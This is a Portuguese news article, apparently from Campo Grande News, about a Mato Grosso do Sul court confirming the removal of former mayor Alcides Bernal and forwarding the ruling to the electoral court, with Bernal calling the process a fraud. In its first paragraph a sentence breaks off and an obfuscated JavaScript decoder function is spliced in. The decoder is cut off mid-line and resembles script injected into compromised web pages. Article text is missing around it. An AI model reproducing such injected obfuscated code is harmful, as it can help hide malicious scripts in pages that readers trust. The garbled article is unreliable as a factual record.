TJ confirma decisão que cassou Bernal e comunica Justiça Eleitoral
[Via Campo Grande News]
O desembargador Sérgio Fernandes Martins, do TJMS (Tribunal de Justiça de Mato Grosso do Sul), determinou que o TRE (Tribunal Regional Eleitoral) seja comunicado sobre a possibilidade de function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
Em agosto daquele ano, a Justiça invalidou o processo de cassação e determinou a volta de Bernal ao comando do município em agosto de 2015. Mas em abril deste ano o TJMS validou o decreto que cassou o ex-prefeito.
Agora, em despacho assinado no dia 31 de julho, o desembargador comunica que a 1ª Câmara Cível do TJMS “reconheceu a ausência de vícios formais ou materiais no processo que apurou infração político-administrativa do à época prefeito Alcides Jesus Peralta Bernal”. O magistrado também encaminhou ao TRE a cópia do acórdão “para fins de análise acerca de eventual inelegibilidade”.
Depois de cassado, Bernal se candidatou ao Senado e concorreu a Prefeitura de Campo Grande. Isso porque ele recorreu ao TSE (Tribunal Superior Eleitoral), que entendeu validou a candidaturas.
“Mesmo que essa cassação fosse válida, não serviria para cassar os meus direitos políticos. Este é o entendimento do TSE”, explicou Bernal à reportagem.
O ex-prefeito aproveitou para reiterar que para ele, o processo de cassação foi uma fraude. “É de conhecimento público que aquela cassação foi fraudulenta e criminosa. Como uma fraude pode impedir alguém de disputar a eleição?”.
Bernal afirma que continua pré-candidato a deputado federal pelo PP e que vai novamente recorrer ao TSE caso tenha o registro da candidatura indeferido. “Era previsível que haveria alguma movimentação política para me tirar da disputa. Mas, eu confio muito na Justiça”.
